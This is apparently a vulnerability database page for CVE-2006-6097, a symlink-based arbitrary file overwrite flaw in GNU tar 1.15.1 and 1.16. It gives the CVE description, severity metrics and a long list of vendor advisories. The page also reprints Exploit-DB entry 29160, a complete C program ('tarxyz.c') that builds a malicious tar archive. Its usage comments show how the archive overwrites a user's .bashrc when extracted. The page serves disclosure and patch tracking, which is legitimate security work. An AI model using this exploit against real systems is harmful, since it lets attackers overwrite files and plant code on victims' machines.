CVE-2006-6097 : Detail

CVE-2006-6097

2.49%V3
Network
2006-11-24
17h00 +00:00
2018-10-17
18h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

GNU tar 1.16 and 1.15.1, and possibly other versions, allows user-assisted attackers to overwrite arbitrary files via a tar file that contains a GNUTYPE_NAMES record with a symbolic link, which is not properly handled by the extract_archive function in extract.c and extract_mangle function in mangle.c, a variant of CVE-2002-1216.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 4 AV:N/AC:H/Au:N/C:N/I:P/A:P [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 29160

Publication date : 2006-11-20 23h00 +00:00
Author : Teemu Salmela
EDB Verified : Yes

/* source: https://www.securityfocus.com/bid/21235/info GNU Tar is prone to a vulnerability that may allow an attacker to place files and overwrite files in arbitrary locations on a vulnerable computer. These issues present themselves when the application processes malicious archives. A successful attack can allow the attacker to place potentially malicious files and overwrite files on a computer in the context of the user running the affected application. Successful exploits may aid in further attacks. */ /* * tarxyz.c - GNU tar directory traversal exploit. * Written by Teemu Salmela. * * Example usage (creates a tar file that extracts /home/teemu/.bashrc): * $ gcc -o tarxyz tarxyz.c * $ ./tarxyz > ~/xyz.tar * $ mkdir -p /tmp/xyz/home/teemu/ * $ cp ~/newbashrc.txt /tmp/xyz/home/teemu/.bashrc * $ cd /tmp * $ tar -rf ~/xyz.tar xyz/home/teemu */ #include <string.h> #include <stdio.h> #include <stdlib.h> struct posix_header { /* byte offset */ char name[100]; /* 0 */ char mode[8]; /* 100 */ char uid[8]; /* 108 */ char gid[8]; /* 116 */ char size[12]; /* 124 */ char mtime[12]; /* 136 */ char chksum[8]; /* 148 */ char typeflag; /* 156 */ char linkname[100]; /* 157 */ char magic[6]; /* 257 */ char version[2]; /* 263 */ char uname[32]; /* 265 */ char gname[32]; /* 297 */ char devmajor[8]; /* 329 */ char devminor[8]; /* 337 */ char prefix[155]; /* 345 */ /* 500 */ }; #define GNUTYPE_NAMES 'N' #define BLOCKSIZE 512 union block { char buffer[BLOCKSIZE]; struct posix_header header; }; void data(void *p, size_t size) { size_t n = 0; char b[BLOCKSIZE]; while (size - n > 512) { fwrite(&((char *)p)[n], 1, 512, stdout); n += 512; } if (size - n) { memset(b, 0, sizeof(b)); memcpy(b, &((char *)p)[n], size - n); fwrite(b, 1, sizeof(b), stdout); } } int main(int argc, char *argv[]) { char *link_name = "xyz"; union block b; char *d; int i; unsigned int cksum; if (argc > 1) link_name = argv[1]; if (asprintf(&d, "Symlink / to %s\n", link_name) < 0) { fprintf(stderr, "out of memory\n"); exit(1); } memset(&b, 0, sizeof(b)); strcpy(b.header.name, "xyz"); strcpy(b.header.mode, "0000777"); strcpy(b.header.uid, "0000000"); strcpy(b.header.gid, "0000000"); sprintf(b.header.size, "%011o", strlen(d)); strcpy(b.header.mtime, "00000000000"); strcpy(b.header.chksum, " "); b.header.typeflag = GNUTYPE_NAMES; strcpy(b.header.magic, "ustar "); strcpy(b.header.uname, "root"); strcpy(b.header.gname, "root"); for (cksum = 0, i = 0; i < sizeof(b); i++) cksum += b.buffer[i] & 0xff; sprintf(b.header.chksum, "%06o ", cksum); fwrite(&b, 1, sizeof(b), stdout); data(d, strlen(d)); }

Products Mentioned

Configuraton 0

Gnu>>Tar >> Version 1.15.1

Gnu>>Tar >> Version 1.16

References

http://secunia.com/advisories/23117
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/1918
Tags : third-party-advisory, x_refsource_SREASON
http://www.us-cert.gov/cas/techalerts/TA07-072A.html
Tags : third-party-advisory, x_refsource_CERT
http://www.securityfocus.com/bid/21235
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/23146
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/23209
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2006/5102
Tags : vdb-entry, x_refsource_VUPEN
http://www.trustix.org/errata/2006/0068/
Tags : vendor-advisory, x_refsource_TRUSTIX
http://secunia.com/advisories/23142
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/23314
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.vupen.com/english/advisories/2007/1171
Tags : vdb-entry, x_refsource_VUPEN
http://security.gentoo.org/glsa/glsa-200612-10.xml
Tags : vendor-advisory, x_refsource_GENTOO
http://secunia.com/advisories/23198
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/23115
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/23911
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.ubuntu.com/usn/usn-385-1
Tags : vendor-advisory, x_refsource_UBUNTU
http://secunia.com/advisories/23173
Tags : third-party-advisory, x_refsource_SECUNIA
http://rhn.redhat.com/errata/RHSA-2006-0749.html
Tags : vendor-advisory, x_refsource_REDHAT
http://securitytracker.com/id?1017423
Tags : vdb-entry, x_refsource_SECTRACK
http://secunia.com/advisories/24636
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2006/dsa-1223
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.vupen.com/english/advisories/2007/0930
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/23443
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.mandriva.com/security/advisories?name=MDKSA-2006:219
Tags : vendor-advisory, x_refsource_MANDRIVA
http://www.vupen.com/english/advisories/2006/4717
Tags : vdb-entry, x_refsource_VUPEN
http://secunia.com/advisories/23514
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/24479
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/23163
Tags : third-party-advisory, x_refsource_SECUNIA